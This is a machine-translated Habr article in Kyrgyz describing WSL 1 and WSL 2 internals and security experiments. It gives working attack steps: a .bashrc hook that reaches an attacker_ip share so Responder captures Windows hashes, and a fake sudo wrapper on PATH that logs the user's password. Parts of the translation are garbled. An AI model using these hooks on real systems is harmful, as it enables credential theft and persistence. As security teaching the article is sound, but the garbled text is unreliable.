WSL эксперименттери. 1-бөлүк

Салам, хабр! OTUS октябрда жаңы курс агымын баштайт "Linux коопсуздугу". Курстун башталышын утурлай биз сиздер менен биздин мугалимдерибиздин бири Александр Колесниковдун жазган макаласын сунуштайбыз.

WSL эксперименттери. 1-бөлүк

2016-жылы Microsoft IT коомчулугуна жаңы WSL технологиясын киргизген (Wберет Sүчүн ubсистема Linux), бул келечекте жөнөкөй жана өнүккөн OS колдонуучуларынын арасында популярдуулук үчүн күрөшкөн мурда элдешкис атаандаштарды бириктирүүгө мүмкүндүк берди: Windows жана Linux. Бул технология Linux OS куралдарын Windows чөйрөсүндө Linuxту иштетүүнүн кереги жок, мисалы, Multi-boot аркылуу колдонууга мүмкүндүк берди. Habr сайтында сиз WSLди колдонуунун артыкчылыктарын сүрөттөгөн көптөгөн макалаларды таба аласыз. Бирок, тилекке каршы, бул макаланы түзүү учурунда, бул ресурста операциялык системалардын мындай симбиозунун коопсуздугу боюнча эч кандай изилдөөлөр табылган эмес. Бул пост муну оңдоо аракети болот. Макалада WSL 1 жана 2 архитектурасынын өзгөчөлүктөрү жөнүндө сөз болот жана бул технологияларды колдонгон системаларга чабуулдардын бир нече мисалдары каралат. Макала 2 бөлүккө бөлүнөт. Биринчиси Linux жана Windowsтун негизги теориялык чабуул ыкмаларын берет. Экинчи макалада сыноо чөйрөсүн түзүү жана чабуулдарды кайра чыгаруу кирет.

WSL 1: архитектуралык өзгөчөлүктөрү

WSL коопсуздук маселелерине эң так кириш үчүн, подсистеманы ишке ашыруу менен байланышкан негизги нюанстарды аныктоо керек. WSL тарабынан чечилген негизги колдонуучунун милдеттеринин бири Windows OS менен иштеген хостто Linux терминалы аркылуу иштөө мүмкүнчүлүгү. Ошондой эле, сунушталган шайкештик ушунчалык жергиликтүү болгондуктан, Linux аткарылуучу файлдарын (ELFs) түздөн-түз Windows тутумунда иштетүүгө болот. Бул максаттарга жетүү үчүн, Windows 10до Linux тиркемелерин конкреттүү тутумдук чалуулардын топтомун колдонуу менен иштетүүгө мүмкүндүк берген атайын подсистема түзүлгөн - ошентип, Windows системасында Linux системаларынын топтомун картага түшүрүү аракети жасалган. Бул физикалык жактан жаңы драйверлерди жана жаңы процесс форматын кошуу менен ишке ашырылган. Визуалдык архитектура мындай көрүнгөн:

WSL эксперименттери. 1-бөлүк

Чынында, Linux операциялык системасы менен өз ара аракеттенүү бир нече ядро ​​модулдары жана процесстин өзгөчө түрү - пико аркылуу уюштурулган. Жогорудагы диаграммадан сиз хосттогу Linux инстанциясында иштеп жаткан процесс жергиликтүү болушу керек жана кадимки Windows тиркемелери сыяктуу эле ресурстарды колдонушу керек экенин көрө аласыз. Бирок буга кантип жетишсе болот? Долбоордо Drawbridge Windows үчүн процесстик концепциялар иштелип чыккан, алар операциялык системанын бардык зарыл компоненттерин (анын версиясына жараша) башка ОС тиркемесин иштетүү үчүн камсыз кылган.

Эскерте кетсек, сунушталган абстракция башка ОС процесси ишке кириши күтүлүп жаткан операциялык системага (айрыкча, Windows) көңүл бурбоого мүмкүндүк берген жана жалпы ыкманы сунуштаган.

Ошентип, пико процессинин ичиндеги ар кандай тиркеме Windows ядросуна карабай иштей алат:

  1. Системалык чалуулардын шайкештиги жана которуу маселелери атайын провайдерлер тарабынан чечилиши керек;
  2. Мүмкүнчүлүктү көзөмөлдөө Коопсуздук Монитор аркылуу жүргүзүлүшү керек. Монитор ядродо жайгашкан, ошондуктан Windows мындай процесстер үчүн провайдер катары иштей турган жаңы драйвер түрүндө жаңыртууну талап кылган. Пико процессинин прототиби схемалык түрдө төмөндө келтирилген:

WSL эксперименттери. 1-бөлүк

Linux файл системасы регистрге сезимтал болгон файл жана каталог аттарын колдонгондуктан, WSL менен иштөө үчүн Windows'ка файл системаларынын 2 түрү кошулган - VolFS жана DriveFS. VolFS — Linux файл тутумунун ишке ашырылышы, DriveFS — Windows эрежелерине ылайык иштеген файл системасы, бирок регистрдин сезгичтигин тандоо мүмкүнчүлүгү бар.

Супер 2

WSL 1 бир катар чектөөлөргө ээ болгон, алар аны милдеттердин максималдуу спектрин чечүү үчүн колдонууга мүмкүндүк бербеген: мисалы, анын 32 биттик Linux тиркемелерин иштетүү мүмкүнчүлүгү болгон эмес жана түзмөк драйверлерин колдонуу мүмкүн эмес болчу. Ошондуктан, 2020-жылы WSL 2 жарыкка чыкты, бул подсистеманы курууга болгон мамилени өзгөрттү. WSL 2 - бул WSL 1дин ресурстарды керектөө мүнөздөмөлөрүнө дал келген оптималдаштырылган виртуалдык машина. Эми, Windows OS колдонуучусу тарабынан чечилген көйгөйлөргө жараша, сиз Linux подсистемасынын керектүү версиясын тандай аласыз. Мүмкүн болгон аялууларды азайтуу үчүн, WSL 2 Hyper-V негизинде Windows 10до ишке ашырылган. Бул формада Windows Linux операциялык тутумунун өзөгүн өзүнчө иштете алат. Эскерте кетсек, WSLдин 1-версиясы бета-функция катары киргизилген, ал бул чөйрөдө Windowsтун өнүгүү багытын көрсөтүүсү керек болчу, ошондуктан Hyper-Vге өтүү сөзсүз болгон. акыркы архитектура мындай көрүнөт:

WSL эксперименттери. 1-бөлүк

Бул версияда Windows жана Linux өзөктөрүнүн өздүк ресурстары бар жана кесилиш файл тутумунда гана бар, бирок бул кесилиш толук эмес. Файлдык системалардын ортосундагы өз ара аракеттенүү 9P протоколун колдонуу менен иштеген кардар-сервер орамасы аркылуу ишке ашырылат.

Бүгүнкү күндө Microsoft WSL 1 жана WSL 2 ортосунда которуштуруу мүмкүнчүлүгүн берет. Эки версия тең колдонууга жеткиликтүү.

WSL коопсуздугу

Азыркы учурда, подсистемалардын ортосундагы байланышка кол салуу үчүн мыйзамдуу ОС куралдарын колдонуунун кээ бир ыкмаларын сүрөттөгөн бир нече эмгектер бар. Жазуу учурунда чабуулдардын актуалдуулугун текшерүү үчүн биз алардын сценарийлерин колдонобуз. Кол салуулардын жана сценарийлердин жалпы тизмеси:

1. Файл системасын ишке ашыруу: мүмкүндүк алуу укуктары, жалпы каталогдордун/маалымат алмашуу механизмдеринин болушу.

чейин кирүү эрежелерин бузууларды аныктоо үчүн изилдөө жүргүзүлгөн Linux FS->Windows FS, Windows FS->Linux FS. Изилдөөлөр максаттуу OS ичинде берилген файлды өзгөртүү мүмкүнчүлүгүн көрсөттү. Алмаштыруу, дубликаттарды түзүү жана файл тутумдарынын бир бөлүгүн жок кылуу аракеттери да жасалган.

Сценарий:

  • A. Windows операциялык системасынын чабуулу - Linux ОЖнин /etc каталогунан файлдарды модификациялоо.
  • B. Linux операциялык тутумунун чабуулу – каталогдордогу файлдардын модификациясы: C:Windows, C:Program Files, C:Users<User>

2. Тармактык стектин ишке ашырылышы.

Изилдөө Windowsтун Linux операциялык тутумунун чабуулдарынын мисалдарын колдонуу менен жүргүзүлгөн. Тармактык стектин өзгөчөлүктөрү, тактап айтканда, ар кандай ресурстарда аутентификация механизмдери колдонулган.

Сценарий:

  • Windows тутумунда жайгашкан портко кирүү мүмкүнчүлүгүн ачуу
  • Тиешелүү укуктары жок порт ачуу
  • Windows операциялык тутумунда elf файлын колдонуу менен тескери кабыкчаны иштетүү.

3. WSL подсистемасынын жардамы менен зыяндуу программалык камсыздоо процесстерин ишке киргизүүнү жашыруу.

Изилдөө жөнөкөй фактыга негизделген - коопсуздук подсистемалары WSL 1 учурунда операциялык тутумдун мыйзамдуу провайдери аркылуу иштеген башка ядродогу окуяларды кармай албайт. WSL 2 учурда, болуп жаткан окуяларды көрүү мүмкүнчүлүгү жок. жеңил виртуалдык машинанын ичинде өзүнчө ядродо.

Сценарий:

1) Системага алыстан кирүү үчүн тиркемени ишке киргизиңиз жана катталган окуяларды көрүңүз.

WSL 1 эксперименттери: хэшти кармоо (Windows)

Акыры практикалык бөлүгүнө келдик. Биринчиден, сиз сыноо чөйрөсүн орнотуу керек. Бардык эксперименттер Windows 10 2004 орнотулган отургучта жүргүзүлөт.WSL үчүн операциялык системанын сүрөтү катары Ubuntu 18.04 сүрөтү тандалган. Сүрөт кокусунан тандалып алынган жана башкалардын баары бирдей иштейт. Стенд орнотуу үчүн буйруктар:

Сиз биринчи ишке киргизүү керек powershell.exe администратор катары

WSL 1 үчүн сиз буйруктарды аткарышыңыз керек:

  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft

  • Ubuntu.appx install —root #Установим образ
  • Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.
  • Restart-Computer #Перезагрузим
  • Стендди кайра жүктөгөндөн кийин, bash буйругун чакырсаңыз болот. Эгер баары туура иштесе, Windows консолунда ушуга окшош жыйынтыкты көрөсүз:

    WSL эксперименттери. 1-бөлүк

    Биз Kali Linux бөлүштүрүүнү чабуулчунун машинасы катары колдонобуз; бардык машиналар бир локалдык тармакта болушу керек.

    Келгиле, Windows машинасында WSLге артыкчылыксыз кирүү мүмкүнчүлүгүбүз бар деп коёлу. Келгиле, Linux операциялык системасына кол салууга аракет кылып көрөлү. Чабуулду ишке ашыруу үчүн биз жөнөкөй автоматтык иштетүү ыкмасын колдонобуз - Linux чөйрөсүндө аткаруу үчүн скриптибизди кошобуз. Бул үчүн, файлды өзгөртүү керек .bashrc.

    WSL менен машинада биз аткарабыз:

    	1. bash
    	2. Переходим в домашнюю директорию пользователя: cd /home/sam/
    	2. echo  «/home/sam/.attack.sh» >> .bashrc
    	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    Kali Linux машинасында биз иштетебиз:

    1. Responder -I eth0 -rdvw

    Windows машинасында, келгиле, bash иштетели.

    Биз Kali Linux машинасында жыйынтыкты күтүп жатабыз:

    WSL эксперименттери. 1-бөлүк

    Ошентип, биз Linux тутумунда буйрукту аткаруу менен WSL подсистемасы аркылуу Windows колдонуучу хэштерин алдык.

    WSL 1 эксперименттери: колдонуучунун сырсөзүн алуу (Linux OS)

    Дагы бир эксперимент жасайлы. Бул текшерүү учурунда биз файлга кошобуз .bashrc Linux операциялык тутумунун колдонуучу сырсөзүн алуу үчүн бир нече буйруктар.

    Келиңиз, bashти ишке киргизип, буйруктарды киргизели:

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    Чабуулду ийгиликтүү аяктоо үчүн колдонуучу Сэм Linux терминалында sudo чакырышы керек. Андан кийин, Linux OS колдонуучунун сырсөзү файлда болот pass.txt:

    WSL эксперименттери. 1-бөлүк

    Кол салууларды ишке ашыруу теориялык маалымат үчүн гана берилген.

    Макаланын кийинки бөлүгүндө 9P протоколун ишке ашыруу сүрөттөлөт, бул протокол үчүн сканер түзүү каралат, ошондой эле аны колдонуу менен чабуул жасалат.

    Колдонулган адабияттардын тизмеси

    WSL эксперименттери. 1-бөлүк

    Кененирээк окуу

    Source: www.habr.com

    Комментарий кошуу